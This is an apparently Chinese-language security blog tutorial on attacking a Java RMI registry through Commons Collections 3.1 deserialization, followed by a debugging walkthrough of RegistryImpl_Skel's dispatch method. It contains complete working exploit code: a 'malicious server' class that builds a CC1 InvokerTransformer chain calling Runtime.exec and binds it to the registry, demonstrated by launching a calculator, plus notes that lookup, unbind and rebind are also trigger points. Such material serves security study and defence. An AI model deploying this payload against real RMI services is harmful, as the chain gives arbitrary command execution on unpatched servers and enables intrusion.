0x01 前言
这个就是RMI中比较通用的攻击场景了,先看攻击例子,在慢慢进行debug吧
0x02 环境
编辑器为: IntelliJ IDEAjava版本:java version "1.7.0_80"Java(TM) SE Runtime Environment (build 1.7.0_80-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)使用的架包:Commons Collections 3.1
0x03 例子
0x03.1 案例介绍
假设我们现在有一台服务器,这台服务器就放注册中心
现在我们要对这个注册中心进行攻击
0x03.2 目录结构
// 目录结构├── RMITest4│ ├── RMIRegister│ │ └── RMIRegisterTest.java│ └── RMIServer│ ├── RMIServerTest4.java│ ├── RMITestImpl4.java│ └── RMITest4Interface.java
0x03.3 创建注册中心
package RMITest4.RMIRegister;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class RMIRegisterTest {// 注册中心设置的开放端口public static final int RMI_PORT = 9998;public static void main(String[] args) {try {LocateRegistry.createRegistry(RMI_PORT);System.out.println("RMI注册启动成功,端口:" + RMI_PORT);} catch (RemoteException e) {e.printStackTrace();}while (true) ;}}// 运行该文件
0x03.4 攻击RMI注册中心
// 恶意服务器使用的公共接口// 随便写写即可,不重要package RMITest4.RMIServer;import java.rmi.Remote;import java.rmi.RemoteException;public interface RMITest4Interface extends Remote {String test() throws RemoteException;}
// 该类是一个远程接口实现类// 随便写写即可,不重要package RMITest4.RMIServer;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RMITestImpl4 extends UnicastRemoteObject implements RMITest4Interface {/*** 调用父类的构造函数** @throws RemoteException*/protected RMITestImpl4() throws RemoteException {super();}@Overridepublic String test() throws RemoteException {return "test4~~~";}}
// 恶意服务器package RMITest4.RMIServer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Naming;import java.rmi.Remote;import java.util.HashMap;import java.util.Map;public class RMIServerTest4 {// 注册中心的服务器ippublic static final String RMI_HOST = "127.0.0.1";// 注册中心设置的开放端口public static final int RMI_PORT = 9998;// RMI服务名称public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t4";public static void main(String[] args) {try {String cmd = "open -a /System/Applications/Calculator.app";InvocationHandler payload = getPayload(cmd);Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMITestImpl4.class.getClassLoader(), new Class[]{Remote.class}, payload));// 功能: 注册恶意类到RMI注册中心触发反序列化Naming.bind(RMI_NAME, remote);System.out.println("执行完毕");} catch (Exception e) {e.printStackTrace();}}/*** CC1反序列化** @param cmd* @return* @throws Exception*/private static InvocationHandler getPayload(String cmd) throws Exception {//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 将 transformers 数组存入 ChaniedTransformer 这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// 创建个 Map 准备拿来绑定 transformerChinaMap innerMap = new HashMap();// put 第一个参数必须为 value, 第二个参数随便写innerMap.put("value", "xxxx");// 创建个 transformerChina 并绑定 innerMapMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 反射机制调用AnnotationInvocationHandler类的构造函数Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);//取消构造函数修饰符限制ctor.setAccessible(true);//获取 AnnotationInvocationHandler 类实例InvocationHandler instance = (InvocationHandler) ctor.newInstance(Retention.class, outerMap);return instance;}}// 运行结果运行完毕以后,注册中心会弹出一个计算器
0x04 debug
这里啦啦0咯咯大佬踩的坑,因为我也踩了首先我的版本是java version "1.7.0_80",也就是jdk7u80版本jdk7u80版本这个地方在调试RegistryImpl_Skel.class这个神奇的文件的时候有一个非常有趣而坑爹的情况,那就是这个class压根没法调试,查看啦啦0咯咯大佬的文章时发现有特别说明链接如下:https://xz.aliyun.com/t/7930#toc-8啦啦0咯咯大佬说这应该是一个动态生成的class,所以不能调试然后非常神奇在jdk8版本的8u112也不能调试,但是8u141之后又可以了
这里有个小知识,我就直接引用啦啦0咯咯大佬的说明了sun.rmi.registry.RegistryImpl_Skel#dispatch(RMI注册任务分发处,是注册端处理请求的地方)是从sun.rmi.server.UnicastServerRef#dispatch(RMI请求分发处那边过来的)
由于我电脑JDK版本的原因,我无法对RegistryImpl_Skel下断点所以根据啦啦0咯咯大佬提出的,我们可以换个方法进行debug在sun.rmi.registry.RegistryImpl#bind下一个断点,然后直接运行,得到调用栈在去查看sun.rmi.registry.RegistryImpl_Skel#dispatch进行分析
具体操作如下图:





// sun.rmi.registry.RegistryImpl_Skel类,dispatch方法的分析// 我就直接抄啦啦0咯咯大佬的标注说明了,因为比我说的细public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {// 一处接口hash验证if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {// 设定变量开始处理请求// var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法RegistryImpl var6 = (RegistryImpl)var1;// 接受客户端输入流的参数变量String var7;Remote var8;ObjectInput var10;ObjectInput var11;// var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的// 比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这句// super.ref.newCall(this, operations, 0, 4905912898345647071L);switch(var3) {case 0:// bind(String,Remote)分支try {var11 = var2.getInputStream();// 1.反序列化触发处var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();}...var6.bind(var7, var8);...case 1:// list()分支var2.releaseInputStream();String[] var97 = var6.list();try {ObjectOutput var98 = var2.getResultStream(true);var98.writeObject(var97);break;}...case 2:try {// lookup(String)分支var10 = var2.getInputStream();// 2.反序列化触发处var7 = (String)var10.readObject();}...var8 = var6.lookup(var7);...case 3:// rebind(String,Remote)分支try {var11 = var2.getInputStream();// 3.反序列化触发处var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();}...var6.rebind(var7, var8);...case 4:// unbind(String)分支try {var10 = var2.getInputStream();// 4.反序列化触发处var7 = (String)var10.readObject();}...var6.unbind(var7);...default:throw new UnmarshalException("invalid method number");}}}
可以得到4个反序列化触发处:lookup、unbind、rebind、bind
在最开始看的时候,我这里是会有一个疑问的,就是这四个接口中
bind与rebind方法,拥有String和Remote类型的Object
lookup、unbind,拥有String类型的Object
而常见的payload都是使用的Remote格式构造的,所以之前思考过是不是只有带Remote参数才能反序列化?
后面看了各种文章发现啦啦0咯咯的文章中有提出这个问题,(啦啦0咯咯,永远滴神)
啦啦0咯咯的结论:
RMI注册端没有任何校验,payload放在Remote参数还是String参数都可以攻击成功
而之所以常见的payload要变成Remote格式
是因为RMI服务端发这个数据包的流程中会需要这个对象是Remote类型的
